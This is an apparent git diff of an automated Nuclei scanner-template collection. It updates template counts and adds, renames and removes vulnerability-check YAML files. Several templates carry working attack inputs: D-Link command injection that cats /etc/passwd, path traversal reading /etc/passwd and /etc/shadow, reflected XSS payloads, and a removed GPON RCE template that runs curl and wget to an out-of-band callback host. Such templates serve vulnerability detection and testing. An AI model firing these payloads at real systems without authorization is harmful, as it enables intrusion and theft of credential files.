diff --git a/README.md b/README.md index c7fd1c0b86..0d3867954c 100644 --- a/README.md +++ b/README.md @@ -20,100 +20,94 @@ | CVE-2016 | 254 | | CVE-2017 | 406 | | CVE-2018 | 453 | -| CVE-2019 | 526 | -| CVE-2020 | 609 | +| CVE-2019 | 525 | +| CVE-2020 | 610 | | CVE-2021 | 1747 | -| CVE-2022 | 2482 | -| CVE-2023 | 4810 | -| CVE-2024 | 6721 | -| Other | 26610 | +| CVE-2022 | 2483 | +| CVE-2023 | 4809 | +| CVE-2024 | 6737 | +| Other | 26607 | ## 近几天数量变化情况 -|2024-11-13 | 2024-11-14 | 2024-11-15 | 2024-11-16 | 2024-11-17 | 2024-11-18 | 2024-11-19| +|2024-11-14 | 2024-11-15 | 2024-11-16 | 2024-11-17 | 2024-11-18 | 2024-11-19 | 2024-11-20| |--- | ------ | ------ | ------ | ------ | ------ | ---| -|44923 | 45017 | 45136 | 46325 | 46327 | 46326 | 46344| +|45017 | 45136 | 46325 | 46327 | 46326 | 46344 | 46357| ## 最近新增文件 | templates name | | --- | -| CVE-2024-51483.yaml | -| CVE-2024-8673.yaml | -| CVE-2022-48166.yaml | -| CVE-2022-44356.yaml | -| CVE-2022-48164.yaml | -| alfresco-panel.yaml | -| flexmls-detect.yaml | -| sap-web-dispatcher-admin-portal-10073.yaml | -| 2889691084.yaml | -| 685878723.yaml | -| 3548798736.yaml | -| alternc-panel.yaml | -| akuiteo-panel.yaml | -| 573268496.yaml | -| 2628791080.yaml | -| 3140309955.yaml | -| 1486043033.yaml | -| 4243212760.yaml | -| 173527743.yaml | -| zte-panel-11838.yaml | -| 1192756401.yaml | -| 2265594678.yaml | -| 2757251844.yaml | -| 473762364.yaml | -| 894225806.yaml | -| 3696601540.yaml | -| 2523211837.yaml | -| 2193906630.yaml | -| alamos-panel.yaml | -| 990349172.yaml | -| 3753806728.yaml | -| 1400097940.yaml | -| 3345020662.yaml | -| 1163650083.yaml | -| 60753597.yaml | -| 3510444022.yaml | -| thruk-panel.yaml | -| 1755170981.yaml | -| 471799455.yaml | -| 2533318898.yaml | -| 850295246.yaml | -| 2723016985.yaml | -| 3729878457.yaml | -| fortinet-fgfm-detect.yaml | -| zms-auth-bypass-11829.yaml | -| 4025836132.yaml | -| 4072408271.yaml | -| 3931284557.yaml | -| 1503454597.yaml | -| 2227667957.yaml | -| 2300926386.yaml | -| 1408482974.yaml | -| 594922867.yaml | -| 2596613775.yaml | -| 3692505568.yaml | -| 2703944587.yaml | -| 607989381.yaml | -| 1814708429.yaml | -| 1021548475.yaml | -| 389500117.yaml | -| setpreferences-xss(1).yaml | -| 2959770951.yaml | -| 2707902405.yaml | -| etcpasswd.yaml | -| 3699455206.yaml | -| changedetection.yaml | -| 1080568163.yaml | -| 2179057332.yaml | -| amazon-ecs-defualt-page.yaml | -| 4137527400.yaml | -| 2983633623.yaml | -| 4037176294.yaml | -| 1530733397.yaml | -| 633451849.yaml | -| 2576268398.yaml | -| 2726089592.yaml | -| 144853405.yaml | -| 1980961746.yaml | -| 781292612.yaml | -| anmelden-panel.yaml | -| 3133189941.yaml | -| wl-wn533a8_firmware.yaml | -| 2952330042.yaml | +| CVE-2024-10390.yaml | +| CVE-2024-10268.yaml | +| CVE-2024-11038.yaml | +| CVE-2024-11069.yaml | +| CVE-2024-11194.yaml | +| CVE-2024-9777.yaml | +| CVE-2024-11098.yaml | +| CVE-2024-10388.yaml | +| CVE-2024-9830.yaml | +| CVE-2024-11224.yaml | +| CVE-2024-11036.yaml | +| CVE-2024-11198.yaml | +| CVE-2024-11195.yaml | +| CVE-2024-10486.yaml | +| 2604822861.yaml | +| 9613321.yaml | +| bookstack-detect-764.yaml | +| 1014176159.yaml | +| 3525784120.yaml | +| 1200191409.yaml | +| 1763074754.yaml | +| 2770804765.yaml | +| 4247767131.yaml | +| 3716330286.yaml | +| 3499183601.yaml | +| 1574535231.yaml | +| 1046994046.yaml | +| 3777704211.yaml | +| 3811557993.yaml | +| 3224702519.yaml | +| 3090881125.yaml | +| 2257434466.yaml | +| 387265915.yaml | +| 2561678402.yaml | +| 1727118266.yaml | +| 1574414783.yaml | +| 2423614041.yaml | +| 1049614291.yaml | +| 1777747741.yaml | +| 1783847465.yaml | +| 116146157.yaml | +| 1858552467.yaml | +| 4067984997.yaml | +| 2826609747.yaml | +| 834347683.yaml | +| 2814510094.yaml | +| 3691145095.yaml | +| 3935867657.yaml | +| 4204722075.yaml | +| 2262855421.yaml | +| 1374740076.yaml | +| 1418728238.yaml | +| 4103467147.yaml | +| 3343906575.yaml | +| 1775067121.yaml | +| xss-headless.yaml | +| 3530503205.yaml | +| 4171721996.yaml | +| 3614402370.yaml | +| 1665372872.yaml | +| 2378325249.yaml | +| 1891948265.yaml | +| 93174518.yaml | +| 1826353917.yaml | +| 1197002657.yaml | +| 2598929970.yaml | +| wpb-popup-for-contact-form-7.yaml | +| elfsight-telegram-chat-cc.yaml | +| 2893268144.yaml | +| 3901038168.yaml | +| 2763879923.yaml | +| 3864206087.yaml | +| 3293461041.yaml | +| 1562174632.yaml | +| 418548613.yaml | +| 2188834782.yaml | +| cve-2021-26722.yaml | diff --git a/data.json b/data.json index 52add08d2e..422daaf45b 100644 --- a/data.json +++ b/data.json @@ -255,5 +255,6 @@ "2024-11-16": 46325, "2024-11-17": 46327, "2024-11-18": 46326, - "2024-11-19": 46344 + "2024-11-19": 46344, + "2024-11-20": 46357 } \ No newline at end of file diff --git a/data1.json b/data1.json index af63ac0955..2ac7b52a99 100644 --- a/data1.json +++ b/data1.json @@ -55015,5 +55015,82 @@ "anmelden-panel.yaml": "2024-11-19 02:34:38", "3133189941.yaml": "2024-11-19 02:34:38", "wl-wn533a8_firmware.yaml": "2024-11-19 02:34:38", - "2952330042.yaml": "2024-11-19 02:34:38" + "2952330042.yaml": "2024-11-19 02:34:38", + "CVE-2024-10390.yaml": "2024-11-20 02:33:16", + "CVE-2024-10268.yaml": "2024-11-20 02:33:16", + "CVE-2024-11038.yaml": "2024-11-20 02:33:16", + "CVE-2024-11069.yaml": "2024-11-20 02:33:16", + "CVE-2024-11194.yaml": "2024-11-20 02:33:16", + "CVE-2024-9777.yaml": "2024-11-20 02:33:16", + "CVE-2024-11098.yaml": "2024-11-20 02:33:16", + "CVE-2024-10388.yaml": "2024-11-20 02:33:16", + "CVE-2024-9830.yaml": "2024-11-20 02:33:16", + "CVE-2024-11224.yaml": "2024-11-20 02:33:16", + "CVE-2024-11036.yaml": "2024-11-20 02:33:16", + "CVE-2024-11198.yaml": "2024-11-20 02:33:16", + "CVE-2024-11195.yaml": "2024-11-20 02:33:16", + "CVE-2024-10486.yaml": "2024-11-20 02:33:16", + "2604822861.yaml": "2024-11-20 02:33:16", + "9613321.yaml": "2024-11-20 02:33:16", + "bookstack-detect-764.yaml": "2024-11-20 02:33:16", + "1014176159.yaml": "2024-11-20 02:33:16", + "3525784120.yaml": "2024-11-20 02:33:16", + "1200191409.yaml": "2024-11-20 02:33:16", + "1763074754.yaml": "2024-11-20 02:33:16", + "2770804765.yaml": "2024-11-20 02:33:16", + "4247767131.yaml": "2024-11-20 02:33:16", + "3716330286.yaml": "2024-11-20 02:33:16", + "3499183601.yaml": "2024-11-20 02:33:16", + "1574535231.yaml": "2024-11-20 02:33:16", + "1046994046.yaml": "2024-11-20 02:33:16", + "3777704211.yaml": "2024-11-20 02:33:16", + "3811557993.yaml": "2024-11-20 02:33:16", + "3224702519.yaml": "2024-11-20 02:33:16", + "3090881125.yaml": "2024-11-20 02:33:16", + "2257434466.yaml": "2024-11-20 02:33:16", + "387265915.yaml": "2024-11-20 02:33:16", + "2561678402.yaml": "2024-11-20 02:33:16", + "1727118266.yaml": "2024-11-20 02:33:16", + "1574414783.yaml": "2024-11-20 02:33:16", + "2423614041.yaml": "2024-11-20 02:33:16", + "1049614291.yaml": "2024-11-20 02:33:16", + "1777747741.yaml": "2024-11-20 02:33:16", + "1783847465.yaml": "2024-11-20 02:33:16", + "116146157.yaml": "2024-11-20 02:33:16", + "1858552467.yaml": "2024-11-20 02:33:16", + "4067984997.yaml": "2024-11-20 02:33:16", + "2826609747.yaml": "2024-11-20 02:33:16", + "834347683.yaml": "2024-11-20 02:33:16", + "2814510094.yaml": "2024-11-20 02:33:16", + "3691145095.yaml": "2024-11-20 02:33:16", + "3935867657.yaml": "2024-11-20 02:33:16", + "4204722075.yaml": "2024-11-20 02:33:16", + "2262855421.yaml": "2024-11-20 02:33:16", + "1374740076.yaml": "2024-11-20 02:33:16", + "1418728238.yaml": "2024-11-20 02:33:16", + "4103467147.yaml": "2024-11-20 02:33:16", + "3343906575.yaml": "2024-11-20 02:33:16", + "1775067121.yaml": "2024-11-20 02:33:16", + "xss-headless.yaml": "2024-11-20 02:33:16", + "3530503205.yaml": "2024-11-20 02:33:16", + "4171721996.yaml": "2024-11-20 02:33:16", + "3614402370.yaml": "2024-11-20 02:33:16", + "1665372872.yaml": "2024-11-20 02:33:16", + "2378325249.yaml": "2024-11-20 02:33:16", + "1891948265.yaml": "2024-11-20 02:33:16", + "93174518.yaml": "2024-11-20 02:33:16", + "1826353917.yaml": "2024-11-20 02:33:16", + "1197002657.yaml": "2024-11-20 02:33:16", + "2598929970.yaml": "2024-11-20 02:33:16", + "wpb-popup-for-contact-form-7.yaml": "2024-11-20 02:33:16", + "elfsight-telegram-chat-cc.yaml": "2024-11-20 02:33:16", + "2893268144.yaml": "2024-11-20 02:33:16", + "3901038168.yaml": "2024-11-20 02:33:16", + "2763879923.yaml": "2024-11-20 02:33:16", + "3864206087.yaml": "2024-11-20 02:33:16", + "3293461041.yaml": "2024-11-20 02:33:16", + "1562174632.yaml": "2024-11-20 02:33:16", + "418548613.yaml": "2024-11-20 02:33:16", + "2188834782.yaml": "2024-11-20 02:33:16", + "cve-2021-26722.yaml": "2024-11-20 02:33:16" } \ No newline at end of file diff --git a/nuclei-templates/CVE-2005/CVE-2005-2428.yaml b/nuclei-templates/CVE-2005/CVE-2005-2428.yaml new file mode 100644 index 0000000000..c74c52c360 --- /dev/null +++ b/nuclei-templates/CVE-2005/CVE-2005-2428.yaml @@ -0,0 +1,33 @@ +id: CVE-2005-2428 +info: + name: Lotus Domino R5 and R6 WebMail Default Configuration Information Disclosure + author: CasperGN + severity: medium + tags: cve,cve2005,domino + description: Lotus Domino R5 and R6 WebMail with 'Generate HTML for all fields' enabled allows remote attackers to read the HTML source to obtain sensitive information including the password hash in the HTTPPassword field, the password change date in the HTTPPasswordChangeDate field, and the client Lotus Domino release in the ClntBld field (a different vulnerability than CVE-2005-2696). + remediation: Ensure proper firewalls are in place within your environment to prevent public exposure of the names.nsf database and other sensitive files. + reference: + - http://www.cybsec.com/vuln/default_configuration_information_disclosure_lotus_domino.pdf + - https://www.exploit-db.com/exploits/39495 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2005-2428 + cwe-id: CWE-200 + +requests: + - method: GET + path: + - "{{BaseURL}}/names.nsf/People?OpenView" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + name: domino-username + regex: + - '(" - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-10095.yaml b/nuclei-templates/CVE-2018/CVE-2018-10095.yaml similarity index 100% rename from nuclei-templates/CVE-2018/cve-2018-10095.yaml rename to nuclei-templates/CVE-2018/CVE-2018-10095.yaml diff --git a/nuclei-templates/CVE-2018/CVE-2018-10230.yaml b/nuclei-templates/CVE-2018/CVE-2018-10230.yaml deleted file mode 100644 index 281d1a1d81..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-10230.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2018-10230 -info: - name: Zend Server < 9.13 - XSS - author: marcos_iaf - severity: medium - description: | - A vulnerability in ZendServer < 9.13 allows an attacker to perform Reflected XSS via the debug_host parameter. - reference: - - https://www.synacktiv.com/ressources/zend_server_9_1_3_xss.pdf - - https://nvd.nist.gov/vuln/detail/CVE-2018-10230 - - https://www.zend.com/en/products/server/release-notes - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2018-10230 - cwe-id: CWE-79 - tags: cve,cve2018,xss,zend -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?debug_host=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_debug=1" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "" - - "is not allowed to open debug sessions" - condition: and - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-10562.yaml b/nuclei-templates/CVE-2018/CVE-2018-10562.yaml deleted file mode 100644 index ad31f74d8b..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-10562.yaml +++ /dev/null @@ -1,53 +0,0 @@ -id: CVE-2018-10562 - -info: - name: Dasan GPON Devices - Remote Code Execution - author: gy741 - severity: critical - description: Dasan GPON home routers are susceptible to command injection which can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output. - reference: - - https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router - - https://github.com/f3d0x0/GPON/blob/master/gpon_rce.py - - https://nvd.nist.gov/vuln/detail/CVE-2018-10562 - - https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2018-10562 - cwe-id: CWE-78 - epss-score: 0.97572 - cpe: cpe:2.3:o:dasannetworks:gpon_router_firmware:-:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: dasannetworks - product: gpon_router_firmware - tags: cve,cve2018,dasan,gpon,rce,kev -variables: - useragent: '{{rand_base(6)}}' - -http: - - raw: - - | - POST /GponForm/diag_Form?images/ HTTP/1.1 - Host: {{Hostname}} - - XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;busybox wget http://{{interactsh-url}}&ipv=0 - - | - POST /GponForm/diag_Form?images/ HTTP/1.1 - Host: {{Hostname}} - - XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'`;wget http://{{interactsh-url}}&ipv=0 - - stop-at-first-match: true - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - - - type: word - part: interactsh_request - words: - - "User-Agent: {{useragent}}" diff --git a/nuclei-templates/CVE-2018/CVE-2018-10823.yaml b/nuclei-templates/CVE-2018/CVE-2018-10823.yaml new file mode 100644 index 0000000000..c79a098cb8 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-10823.yaml @@ -0,0 +1,39 @@ +id: CVE-2018-10823 + +info: + name: D-Link Routers - Remote Command Injection + author: wisnupramoedya + severity: high + description: | + D-Link DWR-116 through 1.06, DWR-512 through 2.02, DWR-712 through 2.02, DWR-912 through 2.02, DWR-921 through 2.02, and DWR-111 through 1.01 device may allow an authenticated attacker to execute arbitrary code by injecting the shell command into the chkisg.htm page Sip parameter. This allows for full control over the device internals. + reference: + - https://www.exploit-db.com/exploits/45676 + - https://nvd.nist.gov/vuln/detail/CVE-2018-10823 + - https://seclists.org/fulldisclosure/2018/Oct/36 + - http://sploit.tech/2018/10/12/D-Link.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2018-10823 + cwe-id: CWE-78 + tags: cve2018,rce,iot,dlink,router,edb,seclists,cve + metadata: + max-request: 1 + +http: + - method: GET + path: + - "{{BaseURL}}/chkisg.htm%3FSip%3D1.1.1.1%20%7C%20cat%20%2Fetc%2Fpasswd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/06/19 diff --git a/nuclei-templates/CVE-2018/CVE-2018-10956.yaml b/nuclei-templates/CVE-2018/CVE-2018-10956.yaml new file mode 100644 index 0000000000..89b1bbae56 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-10956.yaml @@ -0,0 +1,32 @@ + +id: CVE-2018-10956 +info: + name: IPConfigure Orchid Core VMS 2.0.5 - Unauthenticated Directory Traversal. + author: 0x_Akoko + severity: high + description: IPConfigure Orchid Core VMS 2.0.5 allows Directory Traversal. + reference: + - https://labs.nettitude.com/blog/cve-2018-10956-unauthenticated-privileged-directory-traversal-in-ipconfigure-orchid-core-vms/ + - https://www.cvedetails.com/cve/CVE-2018-10956 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H + cvss-score: 7.5 + cve-id: CVE-2018-10956 + cwe-id: CWE-22 + tags: cve,cve2018,Orchid,vms,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/shadow" + matchers-condition: and + matchers: + - type: word + words: + - "root:*:" + - "bin:*:" + condition: and + part: body + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-11709.yaml b/nuclei-templates/CVE-2018/CVE-2018-11709.yaml similarity index 100% rename from nuclei-templates/CVE-2018/cve-2018-11709.yaml rename to nuclei-templates/CVE-2018/CVE-2018-11709.yaml diff --git a/nuclei-templates/CVE-2018/CVE-2018-12296.yaml b/nuclei-templates/CVE-2018/CVE-2018-12296.yaml deleted file mode 100644 index 8e671af933..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-12296.yaml +++ /dev/null @@ -1,49 +0,0 @@ -id: CVE-2018-12296 - -info: - name: Seagate NAS OS 4.3.15.1 - Server Information Disclosure - author: princechaddha - severity: high - description: Seagate NAS OS version 4.3.15.1 has insufficient access control which allows attackers to obtain information about the NAS without authentication via empty POST requests in /api/external/7.0/system.System.get_infos. - remediation: | - Upgrade to a patched version of Seagate NAS OS. - reference: - - https://blog.securityevaluators.com/invading-your-personal-cloud-ise-labs-exploits-the-seagate-stcr3000101-ecf89de2170 - - https://nvd.nist.gov/vuln/detail/CVE-2018-12296 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-12296 - cwe-id: CWE-732 - epss-score: 0.01545 - epss-percentile: 0.85675 - cpe: cpe:2.3:o:seagate:nas_os:4.3.15.1:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: seagate - product: nas_os - tags: cve,cve2018,seagate,nasos,disclosure,unauth - -http: - - raw: - - | - POST /api/external/7.0/system.System.get_infos HTTP/1.1 - Host: {{Hostname}} - Referer: {{BaseURL}} - - matchers: - - type: word - part: body - words: - - '"version":' - - '"serial_number":' - condition: and - - extractors: - - type: regex - group: 1 - regex: - - '"version": "([0-9.]+)"' - part: body - -# digest: 490a00463044022047b0cb4bc8f43872d1a4b51ddd0e241d6890ea3178d02488aac70fcd0be5b3df022004ca155952310187452b6056f780f0f6e0ef89de72cdb522a4618e330a5d77e9:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2018/CVE-2018-1247.yaml b/nuclei-templates/CVE-2018/CVE-2018-1247.yaml deleted file mode 100644 index 4d0cf1ab7e..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-1247.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: CVE-2018-1247 - -info: - name: RSA Authentication Manager XSS - author: madrobot - severity: medium - tags: cve,cve2018,xss,flash - -requests: - - method: GET - path: - - "{{BaseURL}}/IMS-AA-IDP/common/scripts/iua/pmfso.swf?sendUrl=/&gotoUrlLocal=javascript:alert(1337)//" - - matchers-condition: and - matchers: - - type: word - words: - - "application/x-shockwave-flash" - part: header - - type: word - words: - - "javascript:alert(1337)" - part: body diff --git a/nuclei-templates/CVE-2018/CVE-2018-12613.yaml b/nuclei-templates/CVE-2018/CVE-2018-12613.yaml deleted file mode 100644 index e069d71059..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-12613.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2018-12613 - -info: - name: PhpMyAdmin <4.8.2 - Local File Inclusion - author: pikpikcu - severity: high - description: PhpMyAdmin before version 4.8.2 is susceptible to local file inclusion that allows an attacker to include (view and potentially execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the "$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of, and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login requirement and runs the vulnerable code without any authentication). - reference: - - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613 - - https://www.phpmyadmin.net/security/PMASA-2018-4/ - - https://www.exploit-db.com/exploits/44928/ - - http://web.archive.org/web/20210124181726/https://www.securityfocus.com/bid/104532/ - - https://nvd.nist.gov/vuln/detail/CVE-2018-12613 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.8 - cve-id: CVE-2018-12613 - cwe-id: CWE-287 - cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:* - epss-score: 0.97516 - tags: vulhub,edb,cve,cve2018,phpmyadmin,lfi - metadata: - max-request: 1 - -http: - - method: GET - path: - - '{{BaseURL}}/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd' - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0:" - part: body - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/07/06 diff --git a/nuclei-templates/CVE-2018/cve-2018-12634.yaml b/nuclei-templates/CVE-2018/CVE-2018-12634.yaml similarity index 100% rename from nuclei-templates/CVE-2018/cve-2018-12634.yaml rename to nuclei-templates/CVE-2018/CVE-2018-12634.yaml diff --git a/nuclei-templates/CVE-2018/cve-2018-12675.yaml b/nuclei-templates/CVE-2018/CVE-2018-12675.yaml similarity index 100% rename from nuclei-templates/CVE-2018/cve-2018-12675.yaml rename to nuclei-templates/CVE-2018/CVE-2018-12675.yaml diff --git a/nuclei-templates/CVE-2018/CVE-2018-12998.yaml b/nuclei-templates/CVE-2018/CVE-2018-12998.yaml deleted file mode 100644 index 59dc289d29..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-12998.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2018-12998 - -info: - name: Zoho manageengine Arbitrary Reflected XSS - author: pikpikcu - severity: medium - description: A reflected Cross-site scripting (XSS) vulnerability in Zoho ManageEngine Netflow Analyzer before build 123137, Network Configuration Manager before build 123128, OpManager before build 123148, OpUtils before build 123161, and Firewall Analyzer before build 123147 allows remote attackers to inject arbitrary web script or HTML via the parameter 'operation' to /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet. - reference: - - https://github.com/unh3x/just4cve/issues/10 - - http://packetstormsecurity.com/files/148635/Zoho-ManageEngine-13-13790-build-XSS-File-Read-File-Deletion.html - - https://nvd.nist.gov/vuln/detail/CVE-2018-12998 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2018-12998 - cwe-id: CWE-79 - tags: cve,cve2018,zoho,xss,manageengine - -requests: - - method: GET - path: - - "{{BaseURL}}/servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=11111111%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" - - matchers-condition: and - matchers: - - - type: word - words: - - "" - part: body - - - type: status - status: - - 200 - - - type: word - part: header - words: - - text/html diff --git a/nuclei-templates/CVE-2018/CVE-2018-13980.yaml b/nuclei-templates/CVE-2018/CVE-2018-13980.yaml new file mode 100644 index 0000000000..fd9ee56799 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-13980.yaml @@ -0,0 +1,34 @@ +id: CVE-2018-13980 + +info: + name: Zeta Producer Desktop CMS 14.2.0 - Arbitrary File Retrieval + author: wisnupramoedya + severity: medium + description: The websites that were built from Zeta Producer Desktop CMS before 14.2.1 are vulnerable to unauthenticated file disclosure if the plugin "filebrowser" is installed, because of assets/php/filebrowser/filebrowser.main.php?file=../ directory traversal. + reference: + - https://www.exploit-db.com/exploits/45016 + - https://nvd.nist.gov/vuln/detail/CVE-2018-13980 + - https://www.sec-consult.com/en/blog/advisories/remote-code-execution-local-file-disclosure-zeta-producer-desktop-cms/ + - http://packetstormsecurity.com/files/148537/Zeta-Producer-Desktop-CMS-14.2.0-Code-Execution-File-Disclosure.html + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N + cvss-score: 5.5 + cve-id: CVE-2018-13980 + cwe-id: CWE-22 + tags: cve,cve2018,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/assets/php/filebrowser/filebrowser.main.php?file=../../../../../../../../../../etc/passwd&do=download" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-14013.yaml b/nuclei-templates/CVE-2018/CVE-2018-14013.yaml deleted file mode 100644 index 7e2cce6553..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-14013.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2018-14013 - -info: - name: Synacor Zimbra Collaboration Suite Collaboration <8.8.11 - Cross-Site Scripting - author: pikpikcu - severity: medium - description: Synacor Zimbra Collaboration Suite Collaboration before 8.8.11 is vulnerable to cross-site scripting via the AJAX and html web clients. - reference: - - https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories - - https://bugzilla.zimbra.com/show_bug.cgi?id=109018 - - https://bugzilla.zimbra.com/show_bug.cgi?id=109017 - - https://nvd.nist.gov/vuln/detail/CVE-2018-14013 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2018-14013 - cwe-id: CWE-79 - tags: cve,cve2018,xss,zimbra - metadata: - max-request: 1 - -http: - - method: GET - path: - - "{{BaseURL}}/zimbra/h/search?si=1&so=0&sfi=4&st=message&csi=1&action=&cso=0&id=%22%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" - - matchers-condition: and - matchers: - - type: word - words: - - '' - part: body - - - type: status - status: - - 200 - - - type: word - part: header - words: - - text/html - -# Enhanced by mp on 2022/08/18 diff --git a/nuclei-templates/CVE-2018/CVE-2018-14064.yaml b/nuclei-templates/CVE-2018/CVE-2018-14064.yaml new file mode 100644 index 0000000000..d8cf45f3a7 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-14064.yaml @@ -0,0 +1,35 @@ +id: CVE-2018-14064 + +info: + name: VelotiSmart Wifi - Directory Traversal + author: 0x_Akoko + severity: critical + description: VelotiSmart WiFi B-380 camera devices allow directory traversal via the uc-http service 1.0.0, as demonstrated by /../../etc/passwd on TCP port 80. + reference: + - https://medium.com/@s1kr10s/velotismart-0day-ca5056bcdcac + - https://www.exploit-db.com/exploits/45030 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14064 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2018-14064 + cwe-id: CWE-22 + tags: cve,cve2018,lfi,camera,iot + +requests: + - method: GET + path: + - "{{BaseURL}}/../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/05/12 diff --git a/nuclei-templates/CVE-2018/CVE-2018-14574.yaml b/nuclei-templates/CVE-2018/CVE-2018-14574.yaml deleted file mode 100644 index dd98158430..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-14574.yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: CVE-2018-14574 - -info: - name: Django - Open Redirect - author: pikpikcu - severity: medium - description: Django 1.11.x before 1.11.15 and 2.0.x before 2.0.8 contains an open redirect vulnerability. If django.middleware.common.CommonMiddleware and APPEND_SLASH settings are selected, and if the project has a URL pattern that accepts any path ending in a slash, an attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. - reference: - - https://www.djangoproject.com/weblog/2018/aug/01/security-releases/ - - https://usn.ubuntu.com/3726-1/ - - http://web.archive.org/web/20211206044224/https://securitytracker.com/id/1041403 - - https://www.debian.org/security/2018/dsa-4264 - - http://web.archive.org/web/20210124194607/https://www.securityfocus.com/bid/104970/ - - https://access.redhat.com/errata/RHSA-2019:0265 - - https://nvd.nist.gov/vuln/detail/CVE-2018-14574 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2018-14574 - cwe-id: CWE-601 - tags: cve,cve2018,django,redirect - metadata: - max-request: 1 - -http: - - method: GET - path: - - "{{BaseURL}}//www.interact.sh" - - matchers-condition: and - matchers: - - type: status - status: - - 301 - - 